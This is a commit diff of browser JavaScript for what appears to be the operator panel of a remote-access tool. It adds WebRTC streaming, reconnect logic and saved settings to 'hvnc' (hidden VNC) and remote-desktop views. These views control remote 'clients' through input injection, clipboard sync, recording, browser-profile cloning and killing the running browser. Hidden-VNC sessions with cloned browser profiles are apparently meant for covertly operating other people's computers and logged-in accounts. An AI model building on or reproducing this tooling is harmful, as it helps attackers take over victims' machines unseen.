major improvements

2026-06-12 09:14:49 -05:00
parent a2634a7454
commit b6672ee375
47 changed files with 1498 additions and 231 deletions
@@ -1,6 +1,9 @@
 import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
 import { checkFeatureAccess } from "./feature-gate.js";
 import { createKeyboardCapture } from "./keyboard-capture.js";
+import { WhepClient } from "./whep.js";
+import { P2PClient } from "./webrtc-p2p.js";
+import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-settings.js";

 (async function () {
  const clientId = new URLSearchParams(location.search).get("clientId");
@@ -65,6 +68,8 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
  const qualityValue = document.getElementById("qualityValue");
  const codecH264 = document.getElementById("codecH264");
  const codecMode = document.getElementById("codecMode");
+  const webrtcMode = document.getElementById("webrtcMode");
+  const webrtcVideo = document.getElementById("webrtcVideo");
  const canvas = document.getElementById("frameCanvas");
  const canvasContainer = document.getElementById("canvasContainer");
  const contextMenu = document.getElementById("hvncContextMenu");
@@ -76,6 +81,13 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
  const dxgiCtrl = document.getElementById("dxgiCtrl");
  const uiaCtrl = document.getElementById("uiaCtrl");
  const hvncResolutionSelect = document.getElementById("hvncResolutionSelect");
+  let whepClient = null;
+  let p2pClient = null;
+  let webrtcActive = false;
+
+  function getWebrtcMode() {
+    return webrtcMode ? String(webrtcMode.value || "off") : "off";
+  }

  function syncInputEnableState() {
    if (mouseCtrl) sendCmd("hvnc_enable_mouse", { enabled: mouseCtrl.checked });
@@ -96,7 +108,6 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
  let moveTimer = null;
  let videoDecoder = null;
  let h264TimestampUs = 0;
-  const codecPrefKey = "hvncCodecPreferH264";
  let prefersH264 = typeof VideoDecoder === "function";
  let lastMoveSentAt = 0;
  const mouseMoveIntervalMs = 33;
@@ -108,12 +119,68 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
  let lastClipboardText = "";
  let clipboardSyncActive = false;

-  const storedCodecPref = localStorage.getItem(codecPrefKey);
-  if (storedCodecPref === "0") {
-    prefersH264 = false;
-  } else if (storedCodecPref === "1") {
-    prefersH264 = typeof VideoDecoder === "function";
+  let savedDisplay = null;
+
+  function setSelectValue(select, value) {
+    if (!select || value === undefined || value === null) return false;
+    const normalized = String(value);
+    const exists = Array.from(select.options || []).some((opt) => opt.value === normalized);
+    if (!exists) return false;
+    select.value = normalized;
+    return true;
  }
+
+  function applySavedDisplay() {
+    if (savedDisplay === null || savedDisplay === undefined) return;
+    setSelectValue(displaySelect, savedDisplay);
+  }
+
+  function applySharedSettings(settings) {
+    if (!settings || typeof settings !== "object") return;
+    savedDisplay = Number.isFinite(Number(settings.display)) ? Number(settings.display) : savedDisplay;
+    setSelectValue(hvncResolutionSelect, settings.resolution);
+    setSelectValue(webrtcMode, settings.webrtcMode);
+    if (qualitySlider && settings.quality !== undefined) qualitySlider.value = String(settings.quality);
+    if (mouseCtrl && typeof settings.mouse === "boolean") mouseCtrl.checked = settings.mouse;
+    if (kbdCtrl && typeof settings.keyboard === "boolean") kbdCtrl.checked = settings.keyboard;
+    if (clipboardSyncCtrl && typeof settings.clipboardSync === "boolean") clipboardSyncCtrl.checked = settings.clipboardSync;
+    if (dxgiCtrl && typeof settings.dxgi === "boolean") dxgiCtrl.checked = settings.dxgi;
+    if (uiaCtrl && typeof settings.uia === "boolean") uiaCtrl.checked = settings.uia;
+    if (typeof settings.preferH264 === "boolean") {
+      prefersH264 = settings.preferH264 && typeof VideoDecoder === "function";
+    }
+    const cloneToggle = document.getElementById("hvncCloneToggle");
+    const cloneLiteToggle = document.getElementById("hvncCloneLiteToggle");
+    const killIfRunningToggle = document.getElementById("hvncKillIfRunningToggle");
+    if (cloneToggle && typeof settings.cloneProfile === "boolean") cloneToggle.checked = settings.cloneProfile;
+    if (cloneLiteToggle && typeof settings.cloneLite === "boolean") cloneLiteToggle.checked = settings.cloneLite;
+    if (killIfRunningToggle && typeof settings.killIfRunning === "boolean") {
+      killIfRunningToggle.checked = settings.killIfRunning;
+    }
+    applySavedDisplay();
+  }
+
+  function readSharedSettings() {
+    return {
+      display: Number(displaySelect?.value || 0),
+      resolution: hvncResolutionSelect?.value || "1080",
+      quality: Number(qualitySlider?.value || 90),
+      preferH264: !!prefersH264,
+      webrtcMode: getWebrtcMode(),
+      mouse: !!mouseCtrl?.checked,
+      keyboard: !!kbdCtrl?.checked,
+      clipboardSync: !!clipboardSyncCtrl?.checked,
+      dxgi: !!dxgiCtrl?.checked,
+      uia: !!uiaCtrl?.checked,
+      cloneProfile: document.getElementById("hvncCloneToggle")?.checked !== false,
+      cloneLite: document.getElementById("hvncCloneLiteToggle")?.checked === true,
+      killIfRunning: document.getElementById("hvncKillIfRunningToggle")?.checked === true,
+    };
+  }
+
+  applySharedSettings(await loadSharedUiSettings("hvnc"));
+  const sharedSettingsSaver = createSharedUiSettingsSaver("hvnc", readSharedSettings);
+
  if (codecH264) {
    codecH264.checked = prefersH264;
    codecH264.disabled = typeof VideoDecoder !== "function";
@@ -253,7 +320,10 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
  }

  if (clipboardSyncCtrl) {
-    clipboardSyncCtrl.addEventListener("change", checkClipboardSync);
+    clipboardSyncCtrl.addEventListener("change", function () {
+      checkClipboardSync();
+      sharedSettingsSaver.scheduleSave();
+    });
  }

  function clearOfflineTimer() {
@@ -290,6 +360,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
      clearOfflineTimer();
      if (desiredStreaming) {
        setStreamState("starting", "Reconnecting");
+        const mode = getWebrtcMode();
        if (displaySelect && displaySelect.value !== undefined) {
          sendCmd("hvnc_select_display", {
            display: parseInt(displaySelect.value, 10) || 0,
@@ -297,7 +368,9 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
        }
        sendCmd("hvnc_start", {
          autoStartExplorer: false,
+          webrtc: mode === "relayed",
        });
+        if (mode === "p2p") startP2P();
        syncInputEnableState();
      } else {
        setStreamState("idle", "Stopped");
@@ -672,6 +745,110 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
    ws.send(encodeMsgpack(msg));
  }

+  function setWebrtcViewActive(active) {
+    webrtcActive = !!active;
+    if (canvas) canvas.style.display = active ? "none" : "block";
+    if (webrtcVideo) webrtcVideo.style.display = active ? "block" : "none";
+  }
+
+  function onWebrtcState(label, state) {
+    console.debug(`hvnc webrtc[${label}]: state`, state);
+    if (state === "connected") {
+      setStreamState("streaming", `Streaming (${label})`);
+    } else if (state === "failed" || state === "disconnected") {
+      setWebrtcViewActive(false);
+    }
+  }
+
+  let webrtcRvfcHandle = 0;
+  let webrtcFpsCount = 0;
+  let webrtcFpsWindowStart = 0;
+
+  function startWebrtcFrameTicker() {
+    if (!webrtcVideo || typeof webrtcVideo.requestVideoFrameCallback !== "function") return;
+    stopWebrtcFrameTicker();
+    webrtcFpsCount = 0;
+    webrtcFpsWindowStart = performance.now();
+    const tick = (now) => {
+      lastFrameAt = performance.now();
+      clearOfflineTimer();
+      webrtcFpsCount += 1;
+      const elapsed = now - webrtcFpsWindowStart;
+      if (elapsed >= 1000) {
+        const fps = Math.round((webrtcFpsCount * 1000) / elapsed);
+        updateFpsDisplay(fps);
+        webrtcFpsCount = 0;
+        webrtcFpsWindowStart = now;
+      } else {
+        updateFpsDisplay();
+      }
+      webrtcRvfcHandle = webrtcVideo.requestVideoFrameCallback(tick);
+    };
+    webrtcRvfcHandle = webrtcVideo.requestVideoFrameCallback(tick);
+  }
+
+  function stopWebrtcFrameTicker() {
+    if (webrtcRvfcHandle && webrtcVideo && typeof webrtcVideo.cancelVideoFrameCallback === "function") {
+      webrtcVideo.cancelVideoFrameCallback(webrtcRvfcHandle);
+    }
+    webrtcRvfcHandle = 0;
+  }
+
+  async function startWhep(whepPath) {
+    await stopAllWebrtc();
+    if (!webrtcVideo) return;
+    whepClient = new WhepClient({
+      whepPath,
+      videoEl: webrtcVideo,
+      onState: (state) => onWebrtcState("WebRTC Relayed", state),
+    });
+    try {
+      await whepClient.start();
+      setWebrtcViewActive(true);
+      startWebrtcFrameTicker();
+    } catch (err) {
+      console.warn("hvnc webrtc: WHEP start failed, falling back to canvas", err);
+      setWebrtcViewActive(false);
+      whepClient = null;
+    }
+  }
+
+  async function startP2P() {
+    await stopAllWebrtc();
+    if (!webrtcVideo) return;
+    p2pClient = new P2PClient({
+      videoEl: webrtcVideo,
+      send: (msg) => {
+        if (ws && ws.readyState === WebSocket.OPEN) {
+          ws.send(encodeMsgpack(msg));
+        }
+      },
+      onState: (state) => onWebrtcState("WebRTC P2P", state),
+    });
+    try {
+      await p2pClient.start();
+      setWebrtcViewActive(true);
+      startWebrtcFrameTicker();
+    } catch (err) {
+      console.warn("hvnc webrtc: P2P start failed, falling back to canvas", err);
+      setWebrtcViewActive(false);
+      const client = p2pClient;
+      p2pClient = null;
+      if (client) { try { await client.stop(); } catch {} }
+    }
+  }
+
+  async function stopAllWebrtc() {
+    stopWebrtcFrameTicker();
+    setWebrtcViewActive(false);
+    const whep = whepClient;
+    whepClient = null;
+    if (whep) { try { await whep.stop(); } catch {} }
+    const p2p = p2pClient;
+    p2pClient = null;
+    if (p2p) { try { await p2p.stop(); } catch {} }
+  }
+
  let monitors = 1;

  function populateDisplays(count) {
@@ -687,6 +864,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
    if (displaySelect.options.length) {
      displaySelect.value = displaySelect.options[0].value;
    }
+    applySavedDisplay();
  }

  async function fetchClientInfo() {
@@ -699,6 +877,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
      }
      if (client && client.monitors) {
        populateDisplays(client.monitors);
+        applySavedDisplay();
      }
    } catch (e) {
      console.warn("failed to fetch client info", e);
@@ -721,16 +900,28 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
    sendCmd("hvnc_set_quality", { quality: q, codec });
  }

+  function pushTransportQuality(mode) {
+    if (mode === "relayed" || mode === "p2p") {
+      const q = Number(qualitySlider?.value) || 90;
+      setCodecModeLabel("h264", "webrtc");
+      sendCmd("hvnc_set_quality", { quality: q, codec: "h264", source: "webrtc" });
+      return;
+    }
+    if (qualitySlider) {
+      pushQuality(qualitySlider.value);
+    }
+  }
+
  if (codecH264) {
    codecH264.addEventListener("change", function () {
      prefersH264 = !!codecH264.checked && typeof VideoDecoder === "function";
-      localStorage.setItem(codecPrefKey, prefersH264 ? "1" : "0");
      if (!prefersH264) {
        destroyVideoDecoder();
      }
      if (qualitySlider) {
        pushQuality(qualitySlider.value);
      }
+      sharedSettingsSaver.scheduleSave();
    });
  }

@@ -769,7 +960,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
        }
      }, 5000);
    } else if (h264ErrorCount > 3) {
-      localStorage.setItem(codecPrefKey, "0");
+      sharedSettingsSaver.scheduleSave();
    }
  }

@@ -834,29 +1025,39 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
    sendCmd("hvnc_select_display", {
      display: parseInt(displaySelect.value, 10),
    });
+    sharedSettingsSaver.scheduleSave();
  });

+  if (webrtcMode) {
+    webrtcMode.addEventListener("change", function () {
+      updateControls();
+      sharedSettingsSaver.scheduleSave();
+    });
+  }
+
  startBtn.addEventListener("click", function () {
+    const mode = getWebrtcMode();
    if (displaySelect && displaySelect.value !== undefined) {
      sendCmd("hvnc_select_display", {
        display: parseInt(displaySelect.value, 10) || 0,
      });
    }
-    if (qualitySlider) {
-      pushQuality(qualitySlider.value);
-    }
+    pushTransportQuality(mode);
    desiredStreaming = true;
    lastFrameAt = 0;
    setStreamState("starting", "Starting stream");
    sendCmd("hvnc_start", {
      autoStartExplorer: false,
+      webrtc: mode === "relayed",
    });
+    if (mode === "p2p") startP2P();
    syncInputEnableState();
  });
  stopBtn.addEventListener("click", function () {
    desiredStreaming = false;
    setStreamState("stopping", "Stopping stream");
    sendCmd("hvnc_stop", {});
+    stopAllWebrtc();
  });
  if (killAllBtn) {
    killAllBtn.addEventListener("click", function () {
@@ -874,18 +1075,22 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
  });
  mouseCtrl.addEventListener("change", function () {
    sendCmd("hvnc_enable_mouse", { enabled: mouseCtrl.checked });
+    sharedSettingsSaver.scheduleSave();
  });
  kbdCtrl.addEventListener("change", function () {
    sendCmd("hvnc_enable_keyboard", { enabled: kbdCtrl.checked });
+    sharedSettingsSaver.scheduleSave();
  });
  if (dxgiCtrl) {
    dxgiCtrl.addEventListener("change", function () {
      sendCmd("hvnc_enable_dxgi", { enabled: dxgiCtrl.checked });
+      sharedSettingsSaver.scheduleSave();
    });
  }
  if (uiaCtrl) {
    uiaCtrl.addEventListener("change", function () {
      sendCmd("hvnc_enable_uia", { enabled: uiaCtrl.checked });
+      sharedSettingsSaver.scheduleSave();
    });
  }

@@ -898,6 +1103,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
  if (hvncResolutionSelect) {
    hvncResolutionSelect.addEventListener("change", function () {
      pushHvncResolution();
+      sharedSettingsSaver.scheduleSave();
    });
  }

@@ -906,6 +1112,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
    qualitySlider.addEventListener("input", function () {
      updateQualityLabel(qualitySlider.value);
      pushQuality(qualitySlider.value);
+      sharedSettingsSaver.scheduleSave();
    });
  }

@@ -1036,6 +1243,18 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
        handleStatus(msg);
        return;
      }
+      if (msg && msg.type === "webrtc_ready" && typeof msg.whepPath === "string") {
+        startWhep(msg.whepPath);
+        return;
+      }
+      if (msg && msg.type === "webrtc_p2p_answer" && typeof msg.sdp === "string") {
+        if (p2pClient) p2pClient.onAnswer(msg.sdp);
+        return;
+      }
+      if (msg && msg.type === "webrtc_p2p_ice") {
+        if (p2pClient) p2pClient.onRemoteCandidate(msg);
+        return;
+      }
      if (msg && msg.type === "hvnc_clone_progress") {
        handleCloneProgress(msg);
        return;
@@ -1083,6 +1302,18 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
      handleStatus(msg);
      return;
    }
+    if (msg && msg.type === "webrtc_ready" && typeof msg.whepPath === "string") {
+      startWhep(msg.whepPath);
+      return;
+    }
+    if (msg && msg.type === "webrtc_p2p_answer" && typeof msg.sdp === "string") {
+      if (p2pClient) p2pClient.onAnswer(msg.sdp);
+      return;
+    }
+    if (msg && msg.type === "webrtc_p2p_ice") {
+      if (p2pClient) p2pClient.onRemoteCandidate(msg);
+      return;
+    }
    if (msg && msg.type === "hvnc_clone_progress") {
      handleCloneProgress(msg);
      return;
@@ -1122,16 +1353,16 @@ import { createKeyboardCapture } from "./keyboard-capture.js";

  function onWsOpen() {
    reconnectDelay = 1000;
-    if (qualitySlider) {
-      pushQuality(qualitySlider.value);
-    }
+    pushTransportQuality(desiredStreaming ? getWebrtcMode() : "off");
    clearOfflineTimer();
    if (desiredStreaming) {
      setStreamState("starting", "Resuming stream");
+      const mode = getWebrtcMode();
      if (displaySelect && displaySelect.value !== undefined) {
        sendCmd("hvnc_select_display", { display: parseInt(displaySelect.value, 10) || 0 });
      }
-      sendCmd("hvnc_start", { autoStartExplorer: false });
+      sendCmd("hvnc_start", { autoStartExplorer: false, webrtc: mode === "relayed" });
+      if (mode === "p2p") startP2P();
      syncInputEnableState();
    } else {
      setStreamState("idle", "Stopped");
@@ -1149,6 +1380,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js";

  function onWsClose() {
    destroyVideoDecoder();
+    stopAllWebrtc();
    if (desiredStreaming) {
      setStreamState("connecting", "Reconnecting");
      scheduleReconnect();
@@ -1159,6 +1391,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js";

  function onWsError() {
    destroyVideoDecoder();
+    stopAllWebrtc();
    setStreamState("error", "WebSocket error");
  }

@@ -1270,6 +1503,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
      if (kbdCtrl.checked) kbdCapture.enable();
      else kbdCapture.disable();
    });
+    if (kbdCtrl.checked) kbdCapture.enable();
  }
  document.addEventListener("fullscreenchange", function () {
    if (document.fullscreenElement === canvasContainer && kbdCtrl && !kbdCtrl.checked) {
@@ -1279,11 +1513,13 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
  });

  function stopOnExit() {
+    sharedSettingsSaver.saveNow();
    if (ws && ws.readyState === WebSocket.OPEN && desiredStreaming) {
      desiredStreaming = false;
      sendCmd("hvnc_stop", {});
    }
    destroyVideoDecoder();
+    stopAllWebrtc();
  }

  window.addEventListener("beforeunload", stopOnExit);
@@ -1320,6 +1556,15 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
    });
  }

+  ["hvncCloneToggle", "hvncCloneLiteToggle", "hvncKillIfRunningToggle"].forEach((id) => {
+    const el = document.getElementById(id);
+    if (el) {
+      el.addEventListener("change", function () {
+        sharedSettingsSaver.scheduleSave();
+      });
+    }
+  });
+
  if (contextMenu) {
    contextMenu.querySelectorAll("[data-action]").forEach((item) => {
      item.addEventListener("click", (e) => {
@@ -3,6 +3,7 @@ import { checkFeatureAccess } from "./feature-gate.js";
 import { WhepClient } from "./whep.js";
 import { P2PClient } from "./webrtc-p2p.js";
 import { createKeyboardCapture } from "./keyboard-capture.js";
+import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-settings.js";

 (async function () {
  const clientId = new URLSearchParams(location.search).get("clientId");
@@ -17,13 +18,38 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
  const clientLabel = document.getElementById("clientLabel");
  clientLabel.textContent = clientId;

-  const ws = new WebSocket(
-    (location.protocol === "https:" ? "wss://" : "ws://") +
+  let ws = null;
+  let reconnectTimer = null;
+  let reconnectDelay = 1000;
+  const maxReconnectDelay = 15000;
+
+  function buildWsUrl() {
+    return (location.protocol === "https:" ? "wss://" : "ws://") +
      location.host +
      "/api/clients/" +
      clientId +
-      "/rd/ws",
-  );
+      "/rd/ws";
+  }
+
+  function connectWs() {
+    if (reconnectTimer) { clearTimeout(reconnectTimer); reconnectTimer = null; }
+    ws = new WebSocket(buildWsUrl());
+    ws.binaryType = "arraybuffer";
+    ws.addEventListener("open", onWsOpen);
+    ws.addEventListener("message", onWsMessage);
+    ws.addEventListener("close", onWsClose);
+    ws.addEventListener("error", onWsError);
+  }
+
+  function scheduleReconnect() {
+    if (reconnectTimer) return;
+    reconnectTimer = setTimeout(() => {
+      reconnectTimer = null;
+      setStreamState("connecting", "Reconnecting");
+      connectWs();
+      reconnectDelay = Math.min(reconnectDelay * 1.5, maxReconnectDelay);
+    }, reconnectDelay);
+  }
  const displaySelect = document.getElementById("displaySelect");
  const refreshBtn = document.getElementById("refreshDisplays");
  const startBtn = document.getElementById("startBtn");
@@ -62,8 +88,6 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
  function getWebrtcMode() {
    return webrtcMode ? String(webrtcMode.value || "off") : "off";
  }
-  ws.binaryType = "arraybuffer";
-
  let activeClientId = clientId;
  let serverRecording = null;
  let recordingTimer = null;
@@ -86,7 +110,6 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
  let pendingFrame = null;
  let videoDecoder = null;
  let h264TimestampUs = 0;
-  const codecPrefKey = "rdCodecPreferH264";
  let prefersH264 = typeof VideoDecoder === "function";
  let h264LowFpsStreak = 0;
  let h264FirstFrameAt = 0;
@@ -346,12 +369,72 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
    h264LastDecodeWarnAt = 0;
  }

-  const storedCodecPref = localStorage.getItem(codecPrefKey);
-  if (storedCodecPref === "0") {
-    prefersH264 = false;
-  } else if (storedCodecPref === "1") {
-    prefersH264 = typeof VideoDecoder === "function";
+  let savedDisplay = null;
+
+  function setSelectValue(select, value) {
+    if (!select || value === undefined || value === null) return false;
+    const normalized = String(value);
+    const exists = Array.from(select.options || []).some((opt) => opt.value === normalized);
+    if (!exists) return false;
+    select.value = normalized;
+    return true;
  }
+
+  function applySavedDisplay() {
+    if (savedDisplay === null || savedDisplay === undefined) return;
+    setSelectValue(displaySelect, savedDisplay);
+  }
+
+  function applySharedSettings(settings) {
+    if (!settings || typeof settings !== "object") return;
+    savedDisplay = Number.isFinite(Number(settings.display)) ? Number(settings.display) : savedDisplay;
+    setSelectValue(resolutionSelect, settings.resolution);
+    setSelectValue(targetFpsSelect, settings.targetFps);
+    setSelectValue(webrtcMode, settings.webrtcMode);
+    setSelectValue(audioTransport, settings.audioTransport);
+    setSelectValue(recordMode, settings.recordMode);
+    setSelectValue(recordFps, settings.recordFps);
+    if (qualitySlider && settings.quality !== undefined) qualitySlider.value = String(settings.quality);
+    if (smoothingSlider && settings.smoothing !== undefined) {
+      smoothingSlider.value = String(settings.smoothing);
+      smoothingPct = Number(smoothingSlider.value) || 0;
+    }
+    if (mouseCtrl && typeof settings.mouse === "boolean") mouseCtrl.checked = settings.mouse;
+    if (kbdCtrl && typeof settings.keyboard === "boolean") kbdCtrl.checked = settings.keyboard;
+    if (cursorCtrl && typeof settings.cursor === "boolean") cursorCtrl.checked = settings.cursor;
+    if (duplicationCtrl && typeof settings.duplication === "boolean") duplicationCtrl.checked = settings.duplication;
+    if (clipboardSyncCtrl && typeof settings.clipboardSync === "boolean") clipboardSyncCtrl.checked = settings.clipboardSync;
+    if (audioCtrl && typeof settings.audio === "boolean") audioCtrl.checked = settings.audio;
+    if (typeof settings.preferH264 === "boolean") {
+      prefersH264 = settings.preferH264 && typeof VideoDecoder === "function";
+    }
+    applySavedDisplay();
+  }
+
+  function readSharedSettings() {
+    return {
+      display: Number(displaySelect?.value || 0),
+      resolution: resolutionSelect?.value || "1080",
+      targetFps: targetFpsSelect?.value || "120",
+      quality: Number(qualitySlider?.value || 90),
+      preferH264: !!prefersH264,
+      webrtcMode: getWebrtcMode(),
+      mouse: !!mouseCtrl?.checked,
+      keyboard: !!kbdCtrl?.checked,
+      cursor: !!cursorCtrl?.checked,
+      duplication: !!duplicationCtrl?.checked,
+      clipboardSync: !!clipboardSyncCtrl?.checked,
+      audio: !!audioCtrl?.checked,
+      audioTransport: getAudioTransport(),
+      smoothing: Number(smoothingSlider?.value || 20),
+      recordMode: recordMode?.value || "normal",
+      recordFps: recordFps?.value || "",
+    };
+  }
+
+  applySharedSettings(await loadSharedUiSettings("remote_desktop"));
+  const sharedSettingsSaver = createSharedUiSettingsSaver("remote_desktop", readSharedSettings);
+
  if (codecH264) {
    codecH264.checked = prefersH264;
    codecH264.disabled = typeof VideoDecoder !== "function";
@@ -438,7 +521,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
  }

  function updateControls() {
-    const wsOpen = ws.readyState === WebSocket.OPEN;
+    const wsOpen = ws && ws.readyState === WebSocket.OPEN;
    const isStarting = streamState === "starting";
    const isStreaming = streamState === "streaming";
    const isStopping = streamState === "stopping";
@@ -707,7 +790,10 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
  }

  if (clipboardSyncCtrl) {
-    clipboardSyncCtrl.addEventListener("change", checkClipboardSync);
+    clipboardSyncCtrl.addEventListener("change", function () {
+      checkClipboardSync();
+      sharedSettingsSaver.scheduleSave();
+    });
  }

  function updateLatency(ms) {
@@ -778,18 +864,31 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
        desiredStreaming = true;
      }
      if (desiredStreaming) {
-        setStreamState("starting", "Reconnecting");
+        const shouldRequestStart = !["starting", "streaming", "stalled"].includes(streamState);
+        const mode = getWebrtcMode();
+        if (shouldRequestStart) {
+          setStreamState("starting", "Reconnecting");
+        }
        if (displaySelect && displaySelect.value !== undefined) {
          sendCmd("desktop_select_display", {
            display: parseInt(displaySelect.value, 10) || 0,
          });
        }
-        sendCmd("desktop_start", {});
        pushInputToggles();
        pushCaptureToggles();
        if (qualitySlider) pushQuality(qualitySlider.value);
        pushTargetFps();
        pushResolution();
+        if (shouldRequestStart) {
+          if (mode === "relayed") {
+            sendCmd("desktop_start", { webrtc: true });
+          } else if (mode === "p2p") {
+            sendCmd("desktop_start", {});
+            startP2P();
+          } else {
+            sendCmd("desktop_start", {});
+          }
+        }
      } else {
        setStreamState("idle", "Stopped");
      }
@@ -898,10 +997,10 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
      console.warn("No active client selected");
      return;
    }
-    if (ws.readyState !== WebSocket.OPEN) {
+    if (!ws || ws.readyState !== WebSocket.OPEN) {
      rdDebug("send skipped websocket not open", {
        type,
-        readyState: ws.readyState,
+        readyState: ws ? ws.readyState : -1,
        streamState,
        desiredStreaming,
      });
@@ -1049,6 +1148,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
    if (displaySelect.options.length) {
      displaySelect.value = displaySelect.options[0].value;
    }
+    applySavedDisplay();
  }

  async function fetchClientInfo() {
@@ -1070,6 +1170,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
      }
      if (client) {
        populateDisplays(client.monitors, client.monitorInfo);
+        applySavedDisplay();
      }
      if (duplicationCtrl) {
        const os = (client?.os || "").toLowerCase();
@@ -1121,7 +1222,6 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
    codecH264.addEventListener("change", function () {
      resetH264SessionState();
      prefersH264 = !!codecH264.checked && typeof VideoDecoder === "function";
-      localStorage.setItem(codecPrefKey, prefersH264 ? "1" : "0");
      if (prefersH264) {
        ensureDuplicationForH264();
      }
@@ -1132,6 +1232,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
      if (qualitySlider) {
        pushQuality(qualitySlider.value);
      }
+      sharedSettingsSaver.scheduleSave();
    });
  }

@@ -1157,12 +1258,14 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
  if (resolutionSelect) {
    resolutionSelect.addEventListener("change", function () {
      pushResolution();
+      sharedSettingsSaver.scheduleSave();
    });
  }

  if (targetFpsSelect) {
    targetFpsSelect.addEventListener("change", function () {
      pushTargetFps();
+      sharedSettingsSaver.scheduleSave();
    });
  }

@@ -1171,11 +1274,13 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
    sendCmd("desktop_select_display", {
      display: parseInt(displaySelect.value, 10),
    });
+    sharedSettingsSaver.scheduleSave();
  });

  if (webrtcMode) {
    webrtcMode.addEventListener("change", function () {
      updateControls();
+      sharedSettingsSaver.scheduleSave();
    });
  }

@@ -1236,6 +1341,9 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
    } else {
      sendCmd("desktop_start", {});
    }
+    if (audioCtrl && audioCtrl.checked) {
+      connectAudio();
+    }
  });
  stopBtn.addEventListener("click", function () {
    if (isRecording()) stopRecording();
@@ -1251,6 +1359,16 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
      else startRecording();
    });
  }
+  if (recordMode) {
+    recordMode.addEventListener("change", function () {
+      sharedSettingsSaver.scheduleSave();
+    });
+  }
+  if (recordFps) {
+    recordFps.addEventListener("change", function () {
+      sharedSettingsSaver.scheduleSave();
+    });
+  }
  fullscreenBtn.addEventListener("click", function () {
    if (canvasContainer.requestFullscreen) {
      canvasContainer.requestFullscreen();
@@ -1260,16 +1378,6 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
      canvasContainer.mozRequestFullScreen();
    }
  });
-  if (mouseCtrl) {
-    mouseCtrl.checked = false;
-  }
-  if (kbdCtrl) {
-    kbdCtrl.checked = false;
-  }
-  if (duplicationCtrl) {
-    duplicationCtrl.checked = false;
-  }
-
  function pushInputToggles() {
    if (mouseCtrl) {
      sendCmd("desktop_enable_mouse", { enabled: !!mouseCtrl.checked });
@@ -1290,6 +1398,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js";

  mouseCtrl.addEventListener("change", function () {
    pushInputToggles();
+    sharedSettingsSaver.scheduleSave();
  });
  const kbdCapture = createKeyboardCapture({
    container: canvas,
@@ -1301,7 +1410,9 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
    if (kbdCtrl.checked) kbdCapture.enable();
    else kbdCapture.disable();
    pushInputToggles();
+    sharedSettingsSaver.scheduleSave();
  });
+  if (kbdCtrl.checked) kbdCapture.enable();
  document.addEventListener("fullscreenchange", function () {
    if (document.fullscreenElement === canvasContainer && kbdCtrl && !kbdCtrl.checked) {
      kbdCtrl.checked = true;
@@ -1310,10 +1421,12 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
  });
  cursorCtrl.addEventListener("change", function () {
    pushCaptureToggles();
+    sharedSettingsSaver.scheduleSave();
  });
  if (duplicationCtrl) {
    duplicationCtrl.addEventListener("change", function () {
      pushCaptureToggles();
+      sharedSettingsSaver.scheduleSave();
    });
  }
  if (audioCtrl) {
@@ -1323,6 +1436,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
      } else {
        disconnectAudio();
      }
+      sharedSettingsSaver.scheduleSave();
    });
  }
  if (audioTransport) {
@@ -1333,6 +1447,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
        disconnectAudio(false);
        connectAudio();
      }
+      sharedSettingsSaver.scheduleSave();
    });
  }

@@ -1341,6 +1456,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
    qualitySlider.addEventListener("input", function () {
      updateQualityLabel(qualitySlider.value);
      pushQuality(qualitySlider.value);
+      sharedSettingsSaver.scheduleSave();
    });
  }

@@ -1349,6 +1465,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
    smoothingSlider.addEventListener("input", function () {
      smoothingPct = Number(smoothingSlider.value) || 0;
      updateSmoothingLabel(smoothingSlider.value);
+      sharedSettingsSaver.scheduleSave();
    });
  }

@@ -1455,7 +1572,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
    prefersH264 = false;
    destroyVideoDecoder();
    if (codecH264) codecH264.checked = false;
-    localStorage.setItem(codecPrefKey, "0");
+    sharedSettingsSaver.scheduleSave();
    console.warn("rd: falling back to jpeg codec", reasonText);
    const q = Number(qualitySlider?.value) || 90;
